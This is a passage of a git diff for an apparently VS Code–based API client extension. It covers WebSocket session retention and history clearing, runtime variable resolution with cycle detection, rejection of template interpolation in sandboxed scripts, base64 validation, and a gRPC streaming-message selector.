-    headers: response.headers,
-    body: response.body.length > 10_000 ? response.body.slice(0, 10_000) + '\n... (truncated)' : response.body,
-    runtime: response.runtime,
+    duration: response.duration,
+    size: response.size,
   };
 }
diff --git a/src/extension.ts b/src/extension.ts
index 186a74c..2ef672b 100644
--- a/src/extension.ts
+++ b/src/extension.ts
@@ -247,7 +247,11 @@ export async function activate(context: vscode.ExtensionContext): Promise<void>
 
   function updateWebSocketStatusBar(activeFilePath?: string) {
     const sessions = requestExecutionService.listWebSocketSessions({ includeClosed: false });
-    const activeSession = activeFilePath ? requestExecutionService.getWebSocketSession(activeFilePath) : undefined;
+    const selectedSession = activeFilePath ? requestExecutionService.getWebSocketSession(activeFilePath) : undefined;
+    const activeSession = selectedSession
+      && (selectedSession.state === 'connecting' || selectedSession.state === 'connected' || selectedSession.state === 'disconnecting')
+      ? selectedSession
+      : undefined;
     if (sessions.length === 0 && !activeSession) {
       webSocketStatusBarItem.hide();
       return;
diff --git a/src/panels/requestPanel.ts b/src/panels/requestPanel.ts
index d966122..8a272be 100644
--- a/src/panels/requestPanel.ts
+++ b/src/panels/requestPanel.ts
@@ -293,6 +293,11 @@ window.missioPdfJsReady = import('${pdfJsUri}')
         await this._disconnectWebSocket(webview, ctx);
         return true;
       }
+      case 'webSocketClearHistory': {
+        const session = this._requestExecutionService.clearWebSocketSessionHistory(ctx.document.uri.fsPath);
+        if (session) webview.postMessage({ type: 'webSocketSession', session });
+        return true;
+      }
       case 'cancelRequest': {
         this._resolvePendingPromptsOnClose();
         this._requestExecutionService.cancelAll();
@@ -1030,6 +1035,7 @@ window.missioPdfJsReady = import('${pdfJsUri}')
               <button class="pill" data-body-type="file">Binary</button>
             </div>
             <div class="body-toolbar-actions">
+              <select class="lang-select grpc-message-select" id="grpcMessageSelect" aria-label="gRPC streaming request message" title="Select a streaming request message" style="display:none;" disabled></select>
               <select class="lang-select" id="bodyLangMode">
                 <option value="json">JSON</option>
                 <option value="xml">XML</option>
diff --git a/src/services/requestExecutionService.ts b/src/services/requestExecutionService.ts
index a222a1a..02a6e8b 100644
--- a/src/services/requestExecutionService.ts
+++ b/src/services/requestExecutionService.ts
@@ -83,6 +83,7 @@ interface WebSocketRequestClient {
   ): Promise<WebSocketSessionSnapshot>;
   disconnectSession(requestId: string, reason?: string): Promise<HttpResponse | undefined>;
   disconnectAllSessions(): void;
+  clearSessionEvents(requestId: string): WebSocketSessionSnapshot | undefined;
   listSessions(options?: { includeClosed?: boolean }): WebSocketSessionSnapshot[];
   getSession(requestId: string): WebSocketSessionSnapshot | undefined;
 }
@@ -108,7 +109,13 @@ export class RequestExecutionService {
     private readonly _webSocketClient?: WebSocketRequestClient,
     private readonly _grpcClient?: GrpcRequestClient,
     private readonly _runtimeExecutionService = new RuntimeExecutionService(),
-  ) {}
+  ) {
+    this._webSocketClient?.onDidChangeSession?.(session => {
+      if (session.state === 'closed' || session.state === 'error') {
+        this._webSocketRuntimeSessions.delete(session.requestId);
+      }
+    });
+  }
 
   async buildResolvedRequest(
     request: OpenCollectionRequest,
@@ -120,7 +127,13 @@ export class RequestExecutionService {
     options?: { includeAuth?: boolean; includeBody?: boolean },
   ): Promise<ResolvedRequest> {
     if (isHttpRequest(request)) {
-      const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(request, extraVariables);
+      const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(
+        request,
+        collection,
+        folderDefaults,
+        extraVariables,
+        environmentName,
+      );
       return this._httpClient.buildResolvedRequest(
         request,
         collection,
@@ -133,7 +146,13 @@ export class RequestExecutionService {
     }
     if (isGraphQLRequest(request)) {
       const httpRequest = buildGraphQLHttpRequest(request);
-      const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(httpRequest, extraVariables);
+      const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(
+        httpRequest,
+        collection,
+        folderDefaults,
+        extraVariables,
+        environmentName,
+      );
       return this._httpClient.buildResolvedRequest(
         httpRequest,
         collection,
@@ -159,6 +178,10 @@ export class RequestExecutionService {
     return this._webSocketClient?.getSession(requestId);
   }
 
+  clearWebSocketSessionHistory(requestId: string): WebSocketSessionSnapshot | undefined {
+    return this._webSocketClient?.clearSessionEvents(requestId);
+  }
+
   async connectWebSocket(
     request: WebSocketRequest,
     collection: MissioCollection,
diff --git a/src/services/runtimeExecutionService.ts b/src/services/runtimeExecutionService.ts
index b69ba96..fbff95a 100644
--- a/src/services/runtimeExecutionService.ts
+++ b/src/services/runtimeExecutionService.ts
@@ -100,11 +100,17 @@ export class RuntimeExecutionService {
 
   async buildRequestVariableOverrides(
     request: RuntimeCapableRequest,
+    collection: MissioCollection,
+    folderDefaults?: RequestDefaults,
     extraVariables?: Map<string, string>,
+    environmentName?: string,
   ): Promise<Map<string, string> | undefined> {
+    const baseVariables = this._variableResolver
+      ? await this._variableResolver(collection, folderDefaults, environmentName)
+      : new Map<string, string>();
     const requestVariables = resolveVariableMapValues(
       variablesToMap(runtimeConfig(request)?.variables),
-      new Map(),
+      baseVariables,
       extraVariables,
     );
     if (requestVariables.size === 0 && (!extraVariables || extraVariables.size === 0)) {
@@ -255,15 +261,21 @@ export class RuntimeExecutionService {
   }
 
   private _runScript(state: RuntimeState, script: Script, phase: RuntimePhase): void {
+    const templateNames = [...new Set(
+      [...script.code.matchAll(varPatternGlobal())].map(match => match[1].trim()),
+    )].sort();
+    if (templateNames.length > 0) {
+      throw new Error(
+        `Runtime script source interpolation is not supported (${templateNames.map(name => `{{${name}}}`).join(', ')}). `
+        + 'Read variables as data with missio.variables.get("name").',
+      );
+    }
     const sandbox = this._createSandbox(state, phase);
     const context = vm.createContext(sandbox, {
       name: 'missio-runtime',
       codeGeneration: { strings: false, wasm: false },
     });
-    const compiled = new vm.Script(
-      interpolateRuntimeTemplate(script.code, buildVisibleVariables(state.variables)),
-      { filename: `missio-${script.type}.js` },
-    );
+    const compiled = new vm.Script(script.code, { filename: `missio-${script.type}.js` });
     compiled.runInContext(context, { timeout: 1000, displayErrors: true });
   }
 
@@ -318,9 +330,10 @@ export class RuntimeExecutionService {
     for (const assertion of assertions) {
       const visibleVariables = buildVisibleVariables(state.variables);
       const expression = interpolateRuntimeTemplate(assertion.expression, visibleVariables);
-      const expected = assertion.value === undefined
+      const authoredExpected = assertion.value === undefined ? undefined : String(assertion.value);
+      const expected = authoredExpected === undefined
         ? undefined
-        : interpolateRuntimeTemplate(String(assertion.value), visibleVariables);
+        : interpolateRuntimeTemplate(authoredExpected, visibleVariables);
       const description = interpolateOptionalTemplate(descriptionToText(assertion.description), visibleVariables);
       if (assertion.disabled) {
         state.result.assertions.push({
@@ -335,7 +348,11 @@ export class RuntimeExecutionService {
         continue;
       }
 
-      const unresolved = unresolvedTemplateNames(expression, expected, description);
+      const unresolved = unresolvedTemplateNames(
+        visibleVariables,
+        assertion.expression,
+        authoredExpected,
+      );
       if (unresolved.length > 0) {
         state.result.assertions.push({
           expression,
@@ -521,7 +538,8 @@ function resolveVariableMapValues(
   extraVariables?: Map<string, string>,
 ): Map<string, string> {
   const resolved = new Map(variables);
-  for (let pass = 0; pass < 10; pass++) {
+  const maxPasses = Math.max(1, variables.size + 1);
+  for (let pass = 0; pass < maxPasses; pass++) {
     let changed = false;
     const visible = new Map(baseVariables);
     mergeInto(visible, resolved);
@@ -530,9 +548,13 @@ function resolveVariableMapValues(
     for (const [key, value] of resolved) {
       const next = value.replace(varPatternGlobal(), (match, name) => {
         const ref = String(name).trim();
-        if (ref === key) return match;
         const builtin = resolveRuntimeBuiltin(ref);
         if (builtin !== undefined) return builtin;
+        if (ref === key) {
+          if (extraVariables?.has(ref)) return extraVariables.get(ref)!;
+          if (baseVariables.has(ref)) return baseVariables.get(ref)!;
+          return match;
+        }
         return visible.has(ref) ? visible.get(ref)! : match;
       });
       if (next !== value) {
@@ -543,6 +565,21 @@ function resolveVariableMapValues(
 
     if (!changed) break;
   }
+  const cyclicNames = new Set<string>();
+  for (const [key, value] of resolved) {
+    const re = varPatternGlobal();
+    let match: RegExpExecArray | null;
+    while ((match = re.exec(value)) !== null) {
+      const ref = match[1].trim();
+      if (variables.has(ref)) {
+        cyclicNames.add(key);
+        cyclicNames.add(ref);
+      }
+    }
+  }
+  if (cyclicNames.size > 0) {
+    throw new Error(`Cyclic runtime variable reference: ${[...cyclicNames].sort().join(', ')}`);
+  }
   return resolved;
 }
 
@@ -559,25 +596,34 @@ function interpolateOptionalTemplate(template: string | undefined, variables: Ma
   return template === undefined ? undefined : interpolateRuntimeTemplate(template, variables);
 }
 
-function unresolvedTemplateNames(...values: Array<string | undefined>): string[] {
+function unresolvedTemplateNames(
+  variables: Map<string, string>,
+  ...values: Array<string | undefined>
+): string[] {
   const names = new Set<string>();
   for (const value of values) {
     if (!value) continue;
     const re = varPatternGlobal();
     let match: RegExpExecArray | null;
     while ((match = re.exec(value)) !== null) {
-      names.add(match[1].trim());
+      const name = match[1].trim();
+      if (!variables.has(name) && !isRuntimeBuiltin(name)) names.add(name);
     }
   }
   return [...names];
 }
 
+function isRuntimeBuiltin(name: string): boolean {
+  return name === '$guid' || name === '$timestamp' || name === '$randomInt';
+}
+
 function unresolvedAssertionMessage(names: string[]): string {
   const label = names.length === 1 ? 'variable' : 'variables';
   return `Unresolved assertion ${label}: ${names.map(name => `{{${name}}}`).join(', ')}`;
 }
 
 function resolveRuntimeBuiltin(name: string): string | undefined {
+  // Resolve each textual occurrence independently to match Postman dynamic-variable semantics.
   switch (name) {
     case '$guid': return randomUUID();
     case '$timestamp': return String(Math.floor(Date.now() / 1000));
@@ -1034,7 +1080,8 @@ function buildVisibleVariables(variables: RuntimeVariableScopes): Map<string, st
 }
 
 function getVariable(state: RuntimeState, name: string): string | undefined {
-  return buildVisibleVariables(state.variables).get(String(name));
+  const key = String(name);
+  return resolveRuntimeBuiltin(key) ?? buildVisibleVariables(state.variables).get(key);
 }
 
 function setRuntimeVariable(
diff --git a/src/services/webSocketClient.ts b/src/services/webSocketClient.ts
index 055f6c8..b622b5e 100644
--- a/src/services/webSocketClient.ts
+++ b/src/services/webSocketClient.ts
@@ -6,6 +6,7 @@ import type {
   HttpResponse,
   MissioCollection,
   RequestDefaults,
+  SecretProvider,
   Variable,
   VariableTypedValue,
   VariableValueVariant,
@@ -21,8 +22,13 @@ export interface ResolvedWebSocketRequest {
   headers: Record<string, string>;
   message?: WebSocketMessage;
   variables: Map<string, string>;
+  secretProviders: SecretProvider[];
 }
 
+export const MAX_WEBSOCKET_SESSION_EVENTS = 500;
+const MAX_RETAINED_CLOSED_SESSIONS = 20;
+const CLOSED_SESSION_RETENTION_MS = 5 * 60 * 1000;
+
 export interface WebSocketExchangeEvent {
   timestamp: string;
   direction: 'event' | 'outbound' | 'inbound' | 'error';
@@ -63,11 +69,14 @@ interface ActiveWebSocketSession {
   socket?: WebSocket;
   resolved?: ResolvedWebSocketRequest;
   events: WebSocketExchangeEvent[];
+  inboundCount: number;
+  outboundCount: number;
   createdAt: string;
   updatedAt: string;
   closedAt?: string;
   lastError?: string;
   closeWaiters: Array<(response: HttpResponse) => void>;
+  evictionTimer?: NodeJS.Timeout;
 }
 
 interface OneShotWebSocket {
@@ -110,6 +119,15 @@ export class WebSocketClient implements vscode.Disposable {
     return session ? this._snapshot(session) : undefined;
   }
 
+  clearSessionEvents(requestId: string): WebSocketSessionSnapshot | undefined {
+    const session = this._sessions.get(requestId);
+    if (!session) return undefined;
+    session.events = [];
+    this._touch(session);
+    this._emit(session);
+    return this._snapshot(session);
+  }
+
   async buildResolvedRequest(
     request: WebSocketRequest,
     collection: MissioCollection,
@@ -158,7 +176,7 @@ export class WebSocketClient implements vscode.Disposable {
       }
     }
 
-    return { url, headers, message, variables };
+    return { url, headers, message, variables, secretProviders: providers };
   }
 
   async connect(
@@ -178,6 +196,7 @@ export class WebSocketClient implements vscode.Disposable {
         { code: 'MISSIO_WEBSOCKET_ALREADY_CONNECTED' },
       );
     }
+    if (existing?.evictionTimer) clearTimeout(existing.evictionTimer);
 
     const now = new Date().toISOString();
     const session: ActiveWebSocketSession = {
@@ -186,6 +205,8 @@ export class WebSocketClient implements vscode.Disposable {
       requestName: options?.requestName ?? request.info?.name,
       state: 'connecting',
       events: [],
+      inboundCount: 0,
+      outboundCount: 0,
       createdAt: now,
       updatedAt: now,
       closeWaiters: [],
@@ -311,6 +332,13 @@ export class WebSocketClient implements vscode.Disposable {
         { code: 'MISSIO_WEBSOCKET_MESSAGE_REQUIRED' },
       );
     }
+    if (message && this._secretService && session.resolved?.secretProviders.length) {
+      selectedMessage.data = await this._secretService.resolveSecretReferences(
+        selectedMessage.data,
+        session.resolved.secretProviders,
+        session.resolved.variables,
+      );
+    }
 
     onProgress?.('Sending WebSocket message...');
     const payload = this._messagePayload(selectedMessage);
@@ -376,6 +404,7 @@ export class WebSocketClient implements vscode.Disposable {
 
     onProgress?.('Resolving WebSocket request...');
     const resolved = await this.buildResolvedRequest(request, collection, folderDefaults, extraVariables, environmentName);
+    const payload = resolved.message ? this._messagePayload(resolved.message) : undefined;
     const timeoutMs = vscode.workspace.getConfiguration('missio').get<number>('timeout', 30000);
 
     onProgress?.('Connecting WebSocket...');
@@ -417,14 +446,13 @@ export class WebSocketClient implements vscode.Disposable {
 
       socket.on('open', () => {
         event({ direction: 'event', type: 'open' });
-        if (!resolved.message) {
+        if (!resolved.message || payload === undefined) {
           onProgress?.('Disconnecting WebSocket...');
           socket.close(1000, 'Missio disconnect');
           return;
         }
 
         onProgress?.('Sending WebSocket message...');
-        const payload = this._messagePayload(resolved.message);
         socket.send(payload);
         event({
           direction: 'outbound',
@@ -490,6 +518,10 @@ export class WebSocketClient implements vscode.Disposable {
 
   dispose(): void {
     this.cancelAll();
+    for (const session of this._sessions.values()) {
+      if (session.evictionTimer) clearTimeout(session.evictionTimer);
+    }
+    this._sessions.clear();
     this._onDidChangeSession.dispose();
   }
 
@@ -620,10 +652,17 @@ export class WebSocketClient implements vscode.Disposable {
 
   private _messagePayload(message: WebSocketMessage): string | Buffer {
     if (message.type !== 'binary') return message.data;
-    const normalized = message.data.trim();
-    return /^[A-Za-z0-9+/=\r\n]+$/.test(normalized)
-      ? Buffer.from(normalized, 'base64')
-      : Buffer.from(message.data, 'utf-8');
+    const normalized = message.data.replace(/\s/g, '');
+    const isBase64 = normalized.length > 0
+      && normalized.length % 4 === 0
+      && /^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(normalized);
+    if (!isBase64) {
+      throw Object.assign(
+        new Error('Binary WebSocket message data must be valid base64.'),
+        { code: 'MISSIO_INVALID_WEBSOCKET_BINARY_DATA' },
+      );
+    }
+    return Buffer.from(normalized, 'base64');
   }
 
   private _buildResponse(
@@ -671,8 +710,8 @@ export class WebSocketClient implements vscode.Disposable {
       state: session.state,
       url: session.resolved?.url,
       events: session.events.map(event => ({ ...event })),
-      inboundCount: session.events.filter(event => event.direction === 'inbound').length,
-      outboundCount: session.events.filter(event => event.direction === 'outbound').length,
+      inboundCount: session.inboundCount,
+      outboundCount: session.outboundCount,
       createdAt: session.createdAt,
       updatedAt: session.updatedAt,
       closedAt: session.closedAt,
@@ -682,8 +721,45 @@ export class WebSocketClient implements vscode.Disposable {
 
   private _recordEvent(session: ActiveWebSocketSession, entry: Omit<WebSocketExchangeEvent, 'timestamp'>): void {
     session.events.push({ timestamp: new Date().toISOString(), ...entry });
+    if (entry.direction === 'inbound') session.inboundCount++;
+    if (entry.direction === 'outbound') session.outboundCount++;
+    if (session.events.length > MAX_WEBSOCKET_SESSION_EVENTS) {
+      session.events.splice(0, session.events.length - MAX_WEBSOCKET_SESSION_EVENTS);
+    }
     this._touch(session);
     this._emit(session);
+    if (session.state === 'closed' || session.state === 'error') {
+      this._scheduleSessionEviction(session);
+    }
+  }
+
+  private _scheduleSessionEviction(session: ActiveWebSocketSession): void {
+    if (session.evictionTimer) clearTimeout(session.evictionTimer);
+    session.evictionTimer = setTimeout(() => {
+      const current = this._sessions.get(session.requestId);
+      if (current === session && (current.state === 'closed' || current.state === 'error')) {
+        this._evictSession(current);
+      }
+    }, CLOSED_SESSION_RETENTION_MS);
+    session.evictionTimer.unref?.();
+
+    const closedSessions = [...this._sessions.values()]
+      .filter(candidate => candidate.state === 'closed' || candidate.state === 'error')
+      .sort((a, b) => a.updatedAt.localeCompare(b.updatedAt));
+    while (closedSessions.length > MAX_RETAINED_CLOSED_SESSIONS) {
+      const oldest = closedSessions.shift();
+      if (!oldest) break;
+      this._evictSession(oldest);
+    }
+  }
+
+  private _evictSession(session: ActiveWebSocketSession): void {
+    if (session.evictionTimer) clearTimeout(session.evictionTimer);
+    if (session.socket) {
+      session.socket.terminate();
+      session.socket = undefined;
+    }
+    this._sessions.delete(session.requestId);
   }
 
   private _touch(session: ActiveWebSocketSession): void {
diff --git a/src/webview/requestPanel.css b/src/webview/requestPanel.css
index c0bbc4e..f3681cc 100644
--- a/src/webview/requestPanel.css
+++ b/src/webview/requestPanel.css
@@ -1277,6 +1277,7 @@ td.var-cell .var-overlay {
 .body-toolbar { display: flex; align-items: center; gap: 8px; margin-bottom: 8px; justify-content: flex-start; }
 .body-type-pills { display: flex; border: 1px solid var(--input-border); border-radius: 4px; overflow: hidden; }
 .body-toolbar-actions { display: flex; align-items: center; gap: 8px; margin-left: auto; }
+.grpc-message-select { max-width: min(320px, 45vw); }
 .body-type-pills .pill {
   padding: 5px 12px;
   background: transparent;
diff --git a/src/webview/requestPanel.ts b/src/webview/requestPanel.ts
index 31e89c6..8bbea36 100644
--- a/src/webview/requestPanel.ts
+++ b/src/webview/requestPanel.ts
@@ -118,6 +118,9 @@ let _webSocketSession: WebSocketSessionSnapshot = {
   outboundCount: 0,
 };
 let _webSocketVisibleEvents: WebSocketSessionEvent[] = [];
+let _webSocketCopyResetTimer: ReturnType<typeof setTimeout> | undefined;
+let _primaryRequestActionPending = false;
+let _webSocketMessageActionPending = false;
 
 function detectPanelProtocol(req: any): PanelProtocol {
   const detectedProtocol = detectRequestProtocol(req);
@@ -195,11 +198,19 @@ function updateWebSocketControls(): void {
   const sendMessageBtn = $('wsSendBtn') as HTMLButtonElement;
   const unavailableMessage = requestActionUnavailableMessage();
   const actionsReady = unavailableMessage === undefined;
+  const primaryUnavailableMessage = unavailableMessage
+    ?? (_primaryRequestActionPending ? 'Waiting for request action' : undefined);
+  const messageUnavailableMessage = unavailableMessage
+    ?? (_webSocketMessageActionPending ? 'Waiting for WebSocket message status' : undefined);
   sendMessageBtn.style.display = isWebSocket ? '' : 'none';
   connectBtn.classList.toggle('ws-lifecycle-action', isWebSocket);
   if (!isWebSocket) {
     connectBtn.classList.remove('ws-disconnect-state');
-    setActionDisabled(connectBtn, !actionsReady, unavailableMessage ?? (_currentProtocol === 'grpc' ? 'Invoke gRPC request' : 'Send request'));
+    setActionDisabled(
+      connectBtn,
+      !actionsReady || _primaryRequestActionPending,
+      primaryUnavailableMessage ?? (_currentProtocol === 'grpc' ? 'Invoke gRPC request' : 'Send request'),
+    );
     setActionDisabled(sendMessageBtn, true, unavailableMessage ?? 'Connect WebSocket before sending a message');
     return;
   }
@@ -211,21 +222,37 @@ function updateWebSocketControls(): void {
   const canDisconnect = connecting || connected || disconnecting;
   connectBtn.textContent = canDisconnect ? 'Disconnect' : 'Connect';
   connectBtn.classList.toggle('ws-disconnect-state', canDisconnect);
-  const connectTitle = unavailableMessage ?? (connecting
+  const connectTitle = primaryUnavailableMessage ?? (connecting
     ? 'Disconnect WebSocket while connecting'
     : connected
       ? 'Disconnect WebSocket'
       : disconnecting
         ? 'Disconnecting WebSocket'
         : 'Connect WebSocket');
-  setActionDisabled(connectBtn, !actionsReady || disconnecting, connectTitle);
+  setActionDisabled(connectBtn, !actionsReady || _primaryRequestActionPending || disconnecting, connectTitle);
   setActionDisabled(
     sendMessageBtn,
-    !actionsReady || !connected,
-    unavailableMessage ?? (connected ? 'Send WebSocket message' : 'Connect WebSocket before sending a message'),
+    !actionsReady || _webSocketMessageActionPending || !connected,
+    messageUnavailableMessage ?? (connected ? 'Send WebSocket message' : 'Connect WebSocket before sending a message'),
   );
 }
 
+function setPrimaryRequestActionPending(pending: boolean): void {
+  _primaryRequestActionPending = pending;
+  updateWebSocketControls();
+}
+
+function setWebSocketMessageActionPending(pending: boolean): void {
+  _webSocketMessageActionPending = pending;
+  updateWebSocketControls();
+}
+
+function clearRequestActionPending(): void {
+  _primaryRequestActionPending = false;
+  _webSocketMessageActionPending = false;
+  updateWebSocketControls();
+}
+
 function syncRuntimeTabForProtocol(): void {
   const runtimeTab = document.getElementById('respRuntimeTab');
   if (!runtimeTab) return;
@@ -250,6 +277,7 @@ function syncResponseLayoutForProtocol(): void {
     const hasResponse = !!response;
     const binaryOverlay = document.getElementById('respBinaryOverlay');
     const isBinary = !!response?.bodyBase64;
+    $('responseBar').style.display = hasResponse ? 'flex' : 'none';
     $('respTabs').style.display = hasResponse ? 'flex' : 'none';
     $('respEmpty').style.display = hasResponse ? 'none' : 'block';
     $('respBodyWrap').style.display = hasResponse && !isBinary ? 'block' : 'none';
@@ -278,20 +306,66 @@ function formatWebSocketEventTime(timestamp: string): string {
 }
 
 function setWebSocketSession(session: WebSocketSessionSnapshot): void {
+  const previousEvents = _webSocketSession.events;
+  const nextEvents = Array.isArray(session.events) ? session.events : [];
+  const visibleTracksPrevious = _webSocketVisibleEvents.length === previousEvents.length
+    && _webSocketVisibleEvents.every((event, index) => webSocketEventsEqual(event, previousEvents[index]));
+  const canAppend = previousEvents.length <= nextEvents.length
+    && previousEvents.every((event, index) => webSocketEventsEqual(event, nextEvents[index]));
+  const appendedEvents = canAppend ? nextEvents.slice(previousEvents.length) : undefined;
   _webSocketSession = {
     requestId: session.requestId,
     state: session.state || 'disconnected',
     url: session.url,
-    events: Array.isArray(session.events) ? session.events : [],
+    events: nextEvents,
     inboundCount: session.inboundCount ?? 0,
     outboundCount: session.outboundCount ?? 0,
     lastError: session.lastError,
   };
-  _webSocketVisibleEvents = _webSocketSession.events.slice();
-  renderWebSocketSession();
-}
-
-function renderWebSocketSession(): void {
+  if (appendedEvents && visibleTracksPrevious) {
+    _webSocketVisibleEvents.push(...appendedEvents);
+    renderWebSocketSession(appendedEvents);
+  } else {
+    _webSocketVisibleEvents = nextEvents.slice();
+    renderWebSocketSession();
+  }
+}
+
+function webSocketEventsEqual(left: WebSocketSessionEvent, right: WebSocketSessionEvent | undefined): boolean {
+  return !!right
+    && left.timestamp === right.timestamp
+    && left.direction === right.direction
+    && left.type === right.type
+    && left.data === right.data
+    && left.closeCode === right.closeCode
+    && left.reason === right.reason;
+}
+
+function renderWebSocketHistoryRow(event: WebSocketSessionEvent): string {
+  const label = event.direction === 'outbound'
+    ? 'Sent'
+    : event.direction === 'inbound'
+      ? 'Received'
+      : event.direction === 'error'
+        ? 'Error'
+        : event.type === 'close'
+          ? 'Closed'
+          : 'Event';
+  const detail = event.type === 'close'
+    ? [event.closeCode ? String(event.closeCode) : '', event.reason || ''].filter(Boolean).join(' ')
+    : event.data ?? event.reason ?? '';
+  const time = event.timestamp ? formatWebSocketEventTime(event.timestamp) : '';
+  return [
+    '<div class="websocket-history-row websocket-history-' + event.direction + '">',
+    '<span class="websocket-history-time">' + escHtml(time) + '</span>',
+    '<span class="websocket-history-label">' + escHtml(label) + '</span>',
+    '<span class="websocket-history-type">' + escHtml(event.type) + '</span>',
+    '<code class="websocket-history-data">' + escHtml(detail) + '</code>',
+    '</div>',
+  ].join('');
+}
+
+function renderWebSocketSession(appendedEvents?: WebSocketSessionEvent[]): void {
   const panel = $('webSocketSessionPanel');
   panel.style.display = _currentProtocol === 'websocket' ? 'flex' : 'none';
   const badge = $('webSocketStateBadge');
@@ -307,32 +381,15 @@ function renderWebSocketSession(): void {
     _webSocketSession.lastError ? `Error: ${_webSocketSession.lastError}` : '',
   ].filter(Boolean).join(' · ');
 
-  if (_webSocketVisibleEvents.length === 0) {
-    history.innerHTML = '<div class="websocket-history-empty">No messages</div>';
-  } else {
-    history.innerHTML = _webSocketVisibleEvents.map((event) => {
-      const label = event.direction === 'outbound'
-        ? 'Sent'
-        : event.direction === 'inbound'
-          ? 'Received'
-          : event.direction === 'error'
-            ? 'Error'
-            : event.type === 'close'
-              ? 'Closed'
-              : 'Event';
-      const detail = event.type === 'close'
-        ? [event.closeCode ? String(event.closeCode) : '', event.reason || ''].filter(Boolean).join(' ')
-        : event.data ?? event.reason ?? '';
-      const time = event.timestamp ? formatWebSocketEventTime(event.timestamp) : '';
-      return [
-        '<div class="websocket-history-row websocket-history-' + event.direction + '">',
-        '<span class="websocket-history-time">' + escHtml(time) + '</span>',
-        '<span class="websocket-history-label">' + escHtml(label) + '</span>',
-        '<span class="websocket-history-type">' + escHtml(event.type) + '</span>',
-        '<code class="websocket-history-data">' + escHtml(detail) + '</code>',
-        '</div>',
-      ].join('');
-    }).join('');
+  if (appendedEvents === undefined) {
+    history.innerHTML = _webSocketVisibleEvents.length === 0
+      ? '<div class="websocket-history-empty">No messages</div>'
+      : _webSocketVisibleEvents.map(renderWebSocketHistoryRow).join('');
+  } else if (appendedEvents.length > 0) {
+    history.querySelector('.websocket-history-empty')?.remove();
+    history.insertAdjacentHTML('beforeend', appendedEvents.map(renderWebSocketHistoryRow).join(''));
+  }
+  if (_webSocketVisibleEvents.length > 0 && (appendedEvents === undefined || appendedEvents.length > 0)) {
     history.scrollTop = history.scrollHeight;
   }
   updateWebSocketControls();
@@ -363,7 +420,6 @@ function renderWebSocketResponse(response: any): void {
   const session = parseWebSocketResponseSession(response);
   if (session) setWebSocketSession(session);
   else renderWebSocketSession();
-  switchTab($('respTabs'), 'resp-body', respPanelIds);
   syncResponseLayoutForProtocol();
 }
 
@@ -1105,6 +1161,49 @@ function setRequestTabVisible(tabId: string, visible: boolean): void {
   if (panel) panel.style.display = visible ? '' : 'none';
 }
 
+function isGrpcStreamingMessageSequence(details: any): boolean {
+  return (details?.methodType === 'client-streaming' || details?.methodType === 'bidi-streaming')
+    && Array.isArray(details?.message);
+}
+
+function configureGrpcMessageSelector(messages: any[] | undefined, selectedIndex = 0): void {
+  const selector = $('grpcMessageSelect') as HTMLSelectElement;
+  selector.replaceChildren();
+
+  if (!messages?.length) {
+    selector.style.display = 'none';
+    selector.disabled = true;
+    return;
+  }
+
+  messages.forEach((entry, index) => {
+    const option = document.createElement('option');
+    option.value = String(index);
+    const description = typeof entry?.description === 'string' ? entry.description.trim() : '';
+    option.textContent = description
+      ? `Message ${index + 1} of ${messages.length}: ${description}`
+      : `Message ${index + 1} of ${messages.length}`;
+    selector.appendChild(option);
+  });
+
+  const boundedIndex = Math.min(Math.max(selectedIndex, 0), messages.length - 1);
+  selector.value = String(boundedIndex);
+  selector.style.display = '';
+  selector.disabled = false;
+}
+
+function showGrpcMessageAt(index: number): void {
+  const messages = currentRequest?.grpc?.message;
+  if (!Array.isArray(messages) || messages.length === 0) return;
+
+  const boundedIndex = Math.min(Math.max(index, 0), messages.length - 1);
+  _selectedBodyVariantIndex = boundedIndex;
+  ($('grpcMessageSelect') as HTMLSelectElement).value = String(boundedIndex);
+  const entry = messages[boundedIndex];
+  ($('bodyData') as HTMLTextAreaElement).value = typeof entry?.message === 'string' ? entry.message : '';
+  syncHighlight();
+}
+
 function setProtocolUi(protocol: PanelProtocol): void {
   _currentProtocol = protocol;
   const isGraphQL = protocol === 'graphql';
@@ -1140,6 +1239,7 @@ function setProtocolUi(protocol: PanelProtocol): void {
   }
 
   $('bodyTypePills').style.display = (isGraphQL || isWebSocket || isGrpc) ? 'none' : 'flex';
+  configureGrpcMessageSelector(undefined);
   const bodyData = $('bodyData') as HTMLTextAreaElement;
   bodyData.placeholder = isGraphQL
     ? 'query Example { viewer { id name } }'
@@ -1722,48 +1822,76 @@ function setSendingState(sending: boolean): void {
 
 // ── Save ────────────────────────────────────────
 function activatePrimaryRequestAction(): void {
-  if (!requestActionsReady()) return;
-  if (_currentProtocol === 'websocket') {
-    if (_webSocketSession.state === 'connecting' || _webSocketSession.state === 'connected') {
-      disconnectWebSocket();
-    } else if (_webSocketSession.state !== 'disconnecting') {
-      connectWebSocket();
+  if (!requestActionsReady() || _primaryRequestActionPending) return;
+  if (_currentProtocol === 'websocket' && _webSocketSession.state === 'disconnecting') return;
+  setPrimaryRequestActionPending(true);
+  try {
+    if (_currentProtocol === 'websocket') {
+      if (_webSocketSession.state === 'connecting' || _webSocketSession.state === 'connected') {
+        disconnectWebSocket();
+      } else if (_webSocketSession.state !== 'disconnecting') {
+        connectWebSocket();
+      }
+      return;
     }
-    return;
-  }
-  if (isSending) {
-    cancelRequest();
-  } else {
-    sendRequest();
+    if (isSending) {
+      cancelRequest();
+    } else {
+      sendRequest();
+    }
+  } catch (error) {
+    setPrimaryRequestActionPending(false);
+    throw error;
   }
 }
 
 function activateWebSocketSendMessageAction(): void {
-  if (!requestActionsReady() || !webSocketCanSend()) return;
-  sendWebSocketMessage();
+  if (!requestActionsReady() || !webSocketCanSend() || _webSocketMessageActionPending) return;
+  setWebSocketMessageActionPending(true);
+  try {
+    sendWebSocketMessage();
+  } catch (error) {
+    setWebSocketMessageActionPending(false);
+    throw error;
+  }
 }
 
 function bindFirstActivationButton(button: HTMLButtonElement, action: () => void): void {
   let suppressNextClick = false;
+  let suppressionResetTimer: ReturnType<typeof setTimeout> | undefined;
 
   button.addEventListener('mousedown', (event: MouseEvent) => {
     if (event.button !== 0 || button.disabled) return;
+    if (suppressionResetTimer) clearTimeout(suppressionResetTimer);
     suppressNextClick = true;
+    button.focus({ preventScroll: true });
     event.preventDefault();
-    event.stopPropagation();
